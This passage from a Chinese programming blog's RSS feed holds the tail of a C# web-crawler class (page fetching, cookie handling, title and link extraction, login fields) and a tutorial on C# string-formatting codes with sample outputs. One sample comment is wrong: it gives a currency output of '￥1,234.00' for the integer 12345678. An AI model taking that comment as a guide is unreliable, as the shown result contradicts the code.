&nbsp;&nbsp;rqst.MaximumAutomaticRedirections&nbsp;=&nbsp;3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;5.01;&nbsp;Windows&nbsp;NT&nbsp;5.0)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.KeepAlive&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.Timeout&nbsp;=&nbsp;30000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.CookieContainer&nbsp;=&nbsp;myCookieContainer;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lock&nbsp;(WebPage.webcookies)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WebPage.webcookies[m_uri.Host]&nbsp;=&nbsp;myCookieContainer;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;rsps&nbsp;=&nbsp;(HttpWebResponse)rqst.GetResponse();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stream&nbsp;sm&nbsp;=&nbsp;rsps.GetResponseStream();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!rsps.ContentType.ToLower().StartsWith(&#34;text/&#34;)&nbsp;||&nbsp;rsps.ContentLength&nbsp;&gt;&nbsp;1&nbsp;&lt;&lt;&nbsp;22)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rsps.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Encoding&nbsp;cding&nbsp;=&nbsp;System.Text.Encoding.Default;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ix&nbsp;=&nbsp;rsps.ContentType.ToLower().IndexOf(&#34;charset=&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ix&nbsp;!=&nbsp;-1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;System.Text.Encoding.GetEncoding(rsps.ContentType.Substring(ix&nbsp;+&nbsp;&#34;charset&#34;.Length&nbsp;+&nbsp;1));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;Encoding.Default;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;new&nbsp;StreamReader(sm,&nbsp;cding).ReadToEnd();<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pagesize&nbsp;=&nbsp;m_html.Length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_uri&nbsp;=&nbsp;rsps.ResponseUri;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rsps.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;ex)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(ex.Message+m_uri.ToString());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;属性<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;通过此属性可获得本网页的网址，只读<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;URL<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_uri.AbsoluteUri;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;通过此属性可获得本网页的标题，只读<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;Title<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_title&nbsp;==&nbsp;&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;reg&nbsp;=&nbsp;new&nbsp;Regex(@&#34;(?m)&lt;title[^&gt;]*&gt;(?&lt;title&gt;(?:\w|\W)*?)&lt;/title[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;mc&nbsp;=&nbsp;reg.Match(m_html);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(mc.Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_title=&nbsp;mc.Groups[&#34;title&#34;].Value.Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_title;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性获得本网页的所有链接信息，只读<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;Link&gt;&nbsp;Links<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_links.Count&nbsp;==&nbsp;0)&nbsp;getLinks();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_links;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性返回本网页的全部纯文本信息，只读<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;Context<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_outstr&nbsp;==&nbsp;&#34;&#34;)&nbsp;getContext(Int16.MaxValue);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_outstr;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性获得本网页的大小<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;int&nbsp;PageSize<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_pagesize;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性获得本网页的所有站内链接<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;Link&gt;&nbsp;InsiteLinks<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;getSpecialLinksByUrl(&#34;^<a href="http://" target="_blank">http://</a>&#34;+m_uri.Host,Int16.MaxValue);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性表示本网页是否可用<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;bool&nbsp;IsGood<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_good;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此属性表示网页的所在的网站<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;Host<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_uri.Host;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此网页的登陆页所需的POST数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;PostStr<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_post;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此网页的登陆页<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;LoginURL<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_loginurl;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/>}<br/><br/>///&nbsp;&lt;summary&gt;<br/>///&nbsp;链接类<br/>///&nbsp;&lt;/summary&gt;<br/>public&nbsp;class&nbsp;Link<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;url;&nbsp;&nbsp;&nbsp;//链接网址<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;text;&nbsp;&nbsp;//链接文字<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;Link(string&nbsp;_url,&nbsp;string&nbsp;_text)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;_url;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text&nbsp;=&nbsp;_text;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=148</link>
			<title><![CDATA[c# 格式化输出]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Wed,13 Aug 2008 14:32:17 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=148</guid>	
		<description><![CDATA[int&nbsp;a&nbsp;=&nbsp;12345678;<br/>&nbsp;&nbsp;&nbsp;//格式为sring输出<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;asdfadsf{0}adsfasdf&#34;,a);<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;&#34;asdfadsf&#34;+a.ToString()+&#34;adsfasdf&#34;;<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;asdfadsf{0:C}adsfasdf&#34;,a);//asdfadsf￥1,234.00adsfasdf<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;&#34;asdfadsf&#34;+a.ToString(&#34;C&#34;)+&#34;adsfasdf&#34;;//asdfadsf￥1,234.00adsfasdf<br/><br/>&nbsp;&nbsp;&nbsp;double&nbsp;b&nbsp;=&nbsp;1234.12543;<br/>&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;12345678;<br/>&nbsp;&nbsp;&nbsp;//格式为特殊的string样式输出<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;asdfadsf{0:C}adsfasdf&#34;,b);//asdfadsf￥1,234.13adsfasdf<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;&#34;asdfadsf&#34;+b.ToString(&#34;C&#34;)+&#34;adsfasdf&#34;;//asdfadsf￥1,234.13adsfasdf<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:C3}&#34;,b);//￥1,234.125<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;C3&#34;);//￥1,234.125<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:d}&#34;,a);//十进制--12345678<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;d&#34;);//十进制--相同的类型，转换报错<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:e}&#34;,a);//指数--1.234568e+007<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;e&#34;);//指数--1.234125e+003<br/><br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:f}&#34;,a);//定点数--12345678.00<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;f&#34;);//定点数--1234.13<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:n}&#34;,a);//数值--12,345,678.00<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;n&#34;);//数值--1,234.13<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:x}&#34;,a);//十六进制--bc614e<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;x&#34;);//16--带有小数不能转换，出错<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:g}&#34;,a);//通用为最紧凑--12345678<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;g&#34;);//通用为最紧凑--1234.12543<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:r}&#34;,a);//转来转去不损失精度--整数不允许用，报错<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;b.ToString(&#34;r&#34;);//转来转去不损失精度--1234.12543<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;4321.12543;<br/>&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;1234;<br/>&nbsp;&nbsp;&nbsp;//自定义模式输出：<br/>//&nbsp;&nbsp;&nbsp;0&nbsp;描述：占位符，如果可能，填充位<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:000000}&#34;,a);//&nbsp;001234<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:000000}&#34;,b);//&nbsp;004321<br/>//&nbsp;&nbsp;&nbsp;#&nbsp;描述：占位符，如果可能，填充位<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:#######}&#34;,a);//&nbsp;1234<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:#######}&#34;,b);//&nbsp;4321<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:#0####}&#34;,a);//&nbsp;01234<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:0#0000}&#34;,b);//&nbsp;004321<br/><br/>//&nbsp;&nbsp;&nbsp;.&nbsp;描述：小数点<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:000.000}&#34;,a);//1234.000<br/>//&nbsp;&nbsp;&nbsp